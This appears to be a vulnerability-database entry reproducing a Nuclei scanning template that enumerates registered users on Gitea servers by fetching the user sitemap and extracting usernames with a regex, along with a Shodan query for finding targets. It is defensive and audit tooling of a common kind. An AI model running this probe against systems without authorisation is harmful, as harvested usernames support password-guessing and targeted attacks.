gitea-userenum: Gitea - User Enumeration

2026-05-19 Gitea PoC Public

Description

Enumerates the users registered in the Gitea web application, a self-hosted all-in-one software development service, including Git hosting, code review, team collaboration, package registry and CI/CD.

PoC

id: gitea-userenum

info:
  name: Gitea - User Enumeration
  author: icarot
  severity: low
  description: |
    Enumerates the users registered in the Gitea web application, a self-hosted all-in-one software development service, including Git hosting, code review, team collaboration, package registry and CI/CD.
  classification:
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*
  metadata:
    max-request: 1
    vendor: gitea
    product: gitea
    shodan-query: title:"Gitea"
  tags: tech,gitea,enumeration

http:
  - method: GET
    path:
      - "{{BaseURL}}/explore/users/sitemap-1.xml"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '/schemas/sitemap/'
          - 'lastmod'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: user
        group: 1
        part: body
        regex:
          - "<loc>https?:\\/\\/.+\\/(?<user>.+)<\\/loc>"
# digest: 4a0a00473045022100c6cc550037e44693c1e1810b1db697259cb017ba7fad185574584bb8ca7f6ee60220176c296dac36bd4e460b9e450bf68de82a45ff6992141c04f80f64b49de47559:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities